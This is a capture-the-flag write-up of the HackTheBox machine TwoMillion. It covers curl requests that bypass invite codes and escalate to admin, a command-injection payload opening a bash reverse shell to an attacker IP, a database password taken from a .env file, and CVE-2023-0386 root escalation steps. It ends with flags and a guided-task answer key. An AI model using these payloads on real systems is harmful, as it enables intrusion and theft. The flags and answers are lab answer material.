HackTheBox Writeup - TwoMillion

TwoMillion is an Easy-difficulty Linux machine released to celebrate HackTheBox reaching 2 million users. It features a nostalgic recreation of the old HTB platform, involving an invite code bypass, administrative API exploitation, and a kernel-level privilege escalation using OverlayFS.

Reconnaissance

Port Scanning

An Nmap scan identifies two open ports:

• 22/tcp: SSH (OpenSSH 8.9p1)
• 80/tcp: HTTP (Nginx)

Web Enumeration

Visiting http://2million.htb presents the classic HackTheBox landing page. To join the platform, we need an invite code.

Foothold: Invite Code Bypass & Command Injection

1. Generating the Invite Code

Inspecting the source of the /invite page reveals a JavaScript file: /js/inviteapi.min.js.

By interacting with the API via curl, we find the instructions:

curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate

Response (ROT13 decoded):

“In order to generate the invite code, make a POST request to /api/v1/invite/generate”

Generating the code:

curl -s -X POST http://2million.htb/api/v1/invite/generate

Response: {"code": "SDRDMVctTjUwT0EtTTRCMDktWU5YV0U=", "format": "encoded"}

Decoding the Base64 value: H4C1W-N50OA-M4B09-YNXWE.

2. Administrative Privilege Escalation

After registering and logging in, we find the API documentation at /api/v1. One endpoint, /api/v1/admin/settings/update, allows updating user settings.

By sending a PUT request with is_admin set to 1, we elevate our privileges:

curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
     -H "Cookie: PHPSESSID=<SESSION_ID>" \
     -H "Content-Type: application/json" \
     -d '{"email":"your_email@htb.com", "is_admin":1}'

3. Command Injection in VPN Generation

With admin access, we can access /api/v1/admin/vpn/generate. This endpoint is vulnerable to command injection in the username parameter.

Payload:

{"username": "admin; bash -c 'bash -i >& /dev/tcp/10.10.14.203/4444 0>&1'"}

Catching the shell gives us access as www-data.

Privilege Escalation: User (admin)

Searching for credentials, we find a .env file in the web root (/var/www/html/.env):

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Due to password reuse, we can SSH into the machine as the admin user using this password.

User Flag: 1b44b5a7e0dfa0fa565ae6dcd58fb02e

Privilege Escalation: Root (CVE-2023-0386)

The system is running Ubuntu 22.04 with kernel 5.15.70, which is vulnerable to CVE-2023-0386 (OverlayFS Local Privilege Escalation).

1. Transfer PoC: Clone and transfer a PoC for CVE-2023-0386 to the target.
2. Compile: Run make all on the target.
3. Execute: ./poc

The exploit creates an SUID binary with root ownership in an OverlayFS mount and triggers a “copy-up” to a persistent directory, granting a root shell.

Root Flag: a4d6c67a64f82d4bbffbfb9deceae163

---

Guided Mode Tasks

Task	Question	Answer
1	How many TCP ports are open?	2
2	Name of the JavaScript file for invite codes?	inviteapi.min.js
3	Function that returns the first hint?	makeInviteCode
4	Encoding format for the code?	Base64
5	Connection Pack endpoint?	/api/v1/user/vpn/generate
6	Number of API endpoints under /api/v1/admin?	3
7	Endpoint to change user to admin?	/api/v1/admin/settings/update
8	Endpoint with command injection?	/api/v1/admin/vpn/generate
9	File for PHP environment variables?	.env
11	Email address of the sender to admin?	ch4p@2million.htb
12	2023 CVE for OverlayFS metadata maintenance?	CVE-2023-0386
14	Version of GLIBC on TwoMillion?	2.35
15	CVE for 2023 GLIBC buffer overflow?	CVE-2023-4911
16	Env var that triggers Looney Tunables?	GLIBC_TUNABLES